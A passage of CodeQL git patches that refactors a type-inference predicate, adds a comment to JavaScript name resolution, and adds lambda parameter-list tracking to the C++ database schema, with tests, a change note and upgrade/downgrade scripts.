Lhs.4, Lhs.6, Lhs.0, Lhs.1, Lhs.5, Lhs.2 0 ~0% {8} r4 = SCAN `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev_delta` OUTPUT In.0, In.1, In.2, In.3, In.4, _, In.5, _ {6} | REWRITE WITH Tmp.5 := 1, Out.5 := (Tmp.5 + In.6), Tmp.7 := 0, TEST Out.5 != Tmp.7 KEEPING 6 0 ~0% {6} | SCAN OUTPUT In.2, In.3, In.5, In.0, In.1, In.4 0 ~0% {7} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789` ON FIRST 3 OUTPUT Lhs.3, Rhs.3, Lhs.5, Lhs.4, Lhs.0, Lhs.1, Lhs.2 0 ~0% {6} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.3, Lhs.4, Lhs.5, Lhs.2, Lhs.6 0 ~0% {6} r5 = r1 UNION r2 UNION r3 UNION r4 0 ~0% {6} | AND NOT `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev`(FIRST 6) return r5 ``` --- .../typeinference/internal/TypeInference.qll | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 846ca24e2c9..823459e83bb 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -463,24 +463,34 @@ module Make1 Input1> { * Gets the path to the `i`th occurrence of `tp` within `tm` per some * arbitrary order, if any. */ + pragma[nomagic] private TypePath getNthTypeParameterPath(TypeMention tm, TypeParameter tp, int i) { result = rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) and relevantTypeMention(tm) | path) } + pragma[nomagic] + private predicate typeParametersEqualFromIndexBase( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, TypePath path + ) { + path = getNthTypeParameterPath(tm, tp, 0) and + satisfiesConcreteTypes(app, abs, tm) and + // no need to compute this predicate if there is only one path + exists(getNthTypeParameterPath(tm, tp, 1)) + } + pragma[nomagic] private predicate typeParametersEqualFromIndex( App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, Type t, int i ) { - satisfiesConcreteTypes(app, abs, tm) and exists(TypePath path | - path = getNthTypeParameterPath(tm, tp, i) and t = app.getTypeAt(path) and if i = 0 - then - // no need to compute this predicate if there is only one path - exists(getNthTypeParameterPath(tm, tp, 1)) - else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) + then typeParametersEqualFromIndexBase(app, abs, tm, tp, path) + else ( + typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) and + path = getNthTypeParameterPath(tm, tp, i) + ) ) } From e848aa747b181e5f87dc93343fc72b37329aefec Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 11 Jun 2025 10:24:21 +0200 Subject: [PATCH 246/271] JS: Clarifying comment on commonStep --- javascript/ql/lib/semmle/javascript/internal/NameResolution.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index 3d0d8d6ef2b..96e72108e2e 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -65,6 +65,8 @@ module NameResolution { /** * Holds if values/namespaces/types in `node1` can flow to values/namespaces/types in `node2`. + * + * May also include some type-specific steps in cases where this is harmless when tracking values. */ private predicate commonStep(Node node1, Node node2) { // Import paths are part of the graph and has an incoming edge from the imported module, if found. From 9ac9607cb768d5ae86a3d68e047b2665994f92fd Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 6 Jun 2025 12:56:05 +0200 Subject: [PATCH 247/271] C++: Add boolean for explicit lambda parameter list --- cpp/ql/lib/semmlecode.cpp.dbscheme | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme index af887e83a81..3c45f8b9e71 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme @@ -2139,7 +2139,8 @@ code_block( lambdas( unique int expr: @lambdaexpr ref, string default_capture: string ref, - boolean has_explicit_return_type: boolean ref + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref ); lambda_capture( From 3ecc4c9ad7acac91a6a994d1fb473e3bc7d9bec2 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 6 Jun 2025 15:43:20 +0200 Subject: [PATCH 248/271] C++: Adapt existing code to use the new layout of the underlying lambda table --- cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll index 313875d1325..2dc4278e08b 100644 --- a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll +++ b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll @@ -41,12 +41,12 @@ class LambdaExpression extends Expr, @lambdaexpr { * - "&" if capture-by-reference is the default for implicit captures. * - "=" if capture-by-value is the default for implicit captures. */ - string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _) } + string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _, _) } /** * Holds if the return type (of the call operator of the resulting object) was explicitly specified. */ - predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true) } + predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true, _) } /** * Gets the function which will be invoked when the resulting object is called. From 6c9959d8bc845eb4cc3fbc3e6fe53ff980875254 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 6 Jun 2025 15:45:40 +0200 Subject: [PATCH 249/271] C++: Add predicates for lambda parameter list --- cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll index 2dc4278e08b..616424bd007 100644 --- a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll +++ b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll @@ -48,6 +48,19 @@ class LambdaExpression extends Expr, @lambdaexpr { */ predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true, _) } + /** + * Holds if the lambda has an explicitly specified parameter list, even when empty. + */ + predicate hasParameterList() { lambdas(underlyingElement(this), _, _, true) } + + /** + * Holds if the lambda has an empty parameter list + */ + predicate emptyParameterListIsExplicit() { + this.hasParameterList() and + this.getLambdaFunction().getNumberOfParameters() = 0 + } + /** * Gets the function which will be invoked when the resulting object is called. * From cb17a35cbd072a99f0a59d1eec768596a71fa604 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 6 Jun 2025 15:46:20 +0200 Subject: [PATCH 250/271] C++: Add test to check lambda parameters emptyness --- .../lambdas/syntax/empty_declarator.expected | 5 ++++ .../lambdas/syntax/empty_declarator.ql | 5 ++++ .../lambdas/syntax/parameters.cpp | 26 +++++++++++++++++++ 3 files changed, 36 insertions(+) create mode 100644 cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected create mode 100644 cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql create mode 100644 cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected new file mode 100644 index 00000000000..ea2805288ce --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected @@ -0,0 +1,5 @@ +| parameters.cpp:8:5:8:20 | [...](...){...} | +| parameters.cpp:10:5:10:26 | [...](...){...} | +| parameters.cpp:13:5:13:20 | [...](...){...} | +| parameters.cpp:16:5:18:5 | [...](...){...} | +| parameters.cpp:25:5:25:14 | [...](...){...} | diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql new file mode 100644 index 00000000000..81cf1316d2b --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql @@ -0,0 +1,5 @@ +import cpp + +from LambdaExpression e +where e.emptyParameterListIsExplicit() +select e diff --git a/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp new file mode 100644 index 00000000000..6d9bca191b1 --- /dev/null +++ b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp @@ -0,0 +1,26 @@ +void test_lambda_declarator() { + [=](int, float) { }; + + [](int x = 42) { }; + + [](int x) { }; + + []() mutable { }; + + []() [[nodiscard]] { }; + [] [[nodiscard]] { }; + + []() -> void { }; + + int i; + [&i]() { + i += 1; + }; + + [&i] { + i += 1; + }; + + [] { }; + [=] () { }; +} \ No newline at end of file From b0c0fb9699e24d34cf574f9c0da0f82da2ec17f4 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 6 Jun 2025 15:58:27 +0200 Subject: [PATCH 251/271] C++: Add change node --- cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md diff --git a/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md new file mode 100644 index 00000000000..d240b6bd570 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively. From e4a9a5aee8febb88a34ad540600d253fb0f8ab8d Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 11 Jun 2025 09:25:59 +0200 Subject: [PATCH 252/271] C++: add upgrade and downgrade scripts --- .../lambdas.ql | 7 + .../old.dbscheme | 2493 +++++++++++++++++ .../semmlecode.cpp.dbscheme | 2492 ++++++++++++++++ .../upgrade.properties | 3 + .../lambdas.ql | 7 + .../old.dbscheme | 2492 ++++++++++++++++ .../semmlecode.cpp.dbscheme | 2493 +++++++++++++++++ .../upgrade.properties | 3 + 8 files changed, 9990 insertions(+) create mode 100644 cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql create mode 100644 cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme create mode 100644 cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme create mode 100644 cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties create mode 100644 cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql create mode 100644 cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme create mode 100644 cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme create mode 100644 cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql new file mode 100644 index 00000000000..cb35a2cc532 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql @@ -0,0 +1,7 @@ +class LambdaExpr extends @lambdaexpr { + string toString() { none() } +} + +from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type +where lambdas(lambda, default_capture, has_explicit_return_type, _) +select lambda, default_capture, has_explicit_return_type diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme new file mode 100644 index 00000000000..3c45f8b9e71 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme @@ -0,0 +1,2493 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref 